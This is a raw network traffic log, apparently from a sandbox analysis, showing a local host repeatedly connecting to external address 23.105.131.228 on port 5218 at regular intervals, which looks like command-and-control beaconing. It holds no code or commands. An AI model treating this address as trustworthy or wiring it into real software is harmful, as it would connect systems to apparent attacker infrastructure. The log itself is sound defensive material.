May 25, 2022 16:30:38.417543888 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417561054 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.417633057 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417723894 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.417768002 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417813063 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.417906046 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.417984009 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.418040991 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.418076038 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.418129921 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.418188095 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.418262959 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.418317080 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.418414116 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:38.419572115 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.419642925 CEST	5218	49806	23.105.131.228	192.168.11.20
May 25, 2022 16:30:38.419862986 CEST	49806	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:42.181221962 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:42.432384968 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:42.432733059 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:42.432914019 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:42.738338947 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:42.738562107 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:42.804002047 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:42.804263115 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:43.174846888 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:43.175055981 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:43.514010906 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:43.514395952 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:43.809221983 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:43.809575081 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.246617079 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.246973991 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.308564901 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.371942997 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.372026920 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.372104883 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.372199059 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.372247934 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.372317076 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.376933098 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.377018929 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.377068043 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.377115965 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.377154112 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.377207041 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.377218962 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.377285957 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.378258944 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.378344059 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.378465891 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.378528118 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.378952026 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.379149914 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:44.554338932 CEST	5218	49807	23.105.131.228	192.168.11.20
May 25, 2022 16:30:44.554636002 CEST	49807	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:48.339672089 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:48.602488041 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:48.602925062 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:48.603212118 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:48.942217112 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:48.942439079 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:49.011919022 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:49.057158947 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:49.348637104 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:49.348915100 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:49.618707895 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:49.619162083 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:49.956721067 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:49.957127094 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.298517942 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.298728943 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.416467905 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.428144932 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.428222895 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.428369045 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.428436041 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.428595066 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.428786993 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.438707113 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.438786030 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.439105988 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.449795008 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.449878931 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.450033903 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.450099945 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.455219984 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.455306053 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.455393076 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.455440998 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.455495119 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.455579042 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:50.601373911 CEST	5218	49808	23.105.131.228	192.168.11.20
May 25, 2022 16:30:50.601702929 CEST	49808	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:54.442285061 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:54.828440905 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:54.828679085 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:54.829029083 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:55.136028051 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:55.136265993 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:55.199181080 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:55.243314981 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:55.432949066 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:55.433124065 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:55.689712048 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:55.689975977 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.224478960 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.224859953 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.680665970 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.724530935 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.724730015 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.789499044 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.789566040 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.789902925 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.794852018 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.794948101 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795025110 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795078993 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795104027 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795154095 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795165062 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795187950 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795208931 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795281887 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795299053 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795344114 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795449972 CEST	5218	49809	23.105.131.228	192.168.11.20
May 25, 2022 16:30:56.795464039 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795507908 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:30:56.795689106 CEST	49809	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:00.706048012 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.082143068 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:01.082423925 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.082735062 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.422178030 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:01.422383070 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.506918907 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:01.507116079 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.723845959 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:01.724153996 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:01.800179005 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:01.800399065 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.116013050 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.116190910 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.116354942 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.163578033 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.456315994 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.456518888 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.867003918 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.878815889 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.879252911 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.969621897 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.969693899 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.969760895 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.969923973 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.969975948 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.972671032 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.972737074 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.973023891 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.975939035 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.976039886 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.976089954 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.976135015 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.976181984 CEST	5218	49810	23.105.131.228	192.168.11.20
May 25, 2022 16:31:02.976258993 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.976310015 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:02.976327896 CEST	49810	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:07.014214039 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:07.277971029 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:07.278374910 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:07.278886080 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:07.699286938 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:07.699573994 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:07.705908060 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:07.756194115 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:08.000649929 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:08.000880003 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:08.261152029 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:08.261409998 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:08.597455978 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:08.597657919 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.026300907 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.026560068 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.129368067 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.129662037 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.132736921 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.133027077 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.134767056 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.134943962 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.135046005 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.135087967 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.135212898 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.135251999 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.135346889 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.135385036 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.135468960 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.135607958 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.135618925 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.135777950 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.137964010 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.138111115 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.138175964 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.138348103 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.162200928 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.364506960 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.364706039 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:09.433231115 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.433312893 CEST	5218	49811	23.105.131.228	192.168.11.20
May 25, 2022 16:31:09.433465004 CEST	49811	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:13.190035105 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:13.574177027 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:13.574601889 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:13.574908018 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:13.916280985 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:13.916501045 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:13.968655109 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:14.020531893 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:14.258208990 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:14.258493900 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:14.513348103 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:14.513633013 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:14.874275923 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:14.874555111 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.196393013 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.196628094 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.327218056 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.327532053 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.328821898 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.328883886 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.329288960 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.329349041 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.329488993 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.329559088 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.331855059 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.332138062 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.335376024 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.335675001 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.335757971 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.335783958 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.335808039 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.335840940 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.336227894 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.348361969 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.583374977 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.583702087 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.583869934 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.584063053 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.588529110 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.588591099 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.588804960 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.590871096 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.590931892 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.591217995 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.605303049 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605365992 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605417967 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605483055 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605526924 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.605756998 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605812073 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605837107 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.605957985 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.605967999 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.606158972 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.606374025 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.606662035 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.607328892 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.607595921 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.611733913 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.611821890 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.611917019 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.612019062 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.612071991 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.612288952 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.612344027 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.612613916 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.612642050 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.612663984 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:15.612759113 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:15.612782001 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:16.043535948 CEST	5218	49812	23.105.131.228	192.168.11.20
May 25, 2022 16:31:16.043833017 CEST	49812	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:19.376058102 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:19.725581884 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:19.725879908 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:19.726150990 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:20.022430897 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:20.022684097 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:20.093725920 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:20.093997002 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:20.318847895 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:20.319287062 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:20.423583984 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:20.750128984 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:20.750490904 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.052098989 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.052493095 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.352988005 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.353127003 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.456495047 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.456686974 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.456707001 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.456829071 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.456885099 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.456958055 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.457146883 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.457156897 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.458478928 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.458648920 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.458679914 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.458792925 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.458894014 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.458894014 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.459033012 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.459065914 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.459078074 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.459126949 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.459213972 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.459450960 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.628197908 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.653666973 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.653856993 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760195971 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760346889 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760395050 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760440111 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760466099 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760485888 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760531902 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760608912 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760656118 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760683060 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760701895 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760704994 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760715008 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760723114 CEST	49813	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:31:21.760750055 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760795116 CEST	5218	49813	23.105.131.228	192.168.11.20
May 25, 2022 16:31:21.760838985 CEST	5218	49813	23.105.131.228	192.168.11.20
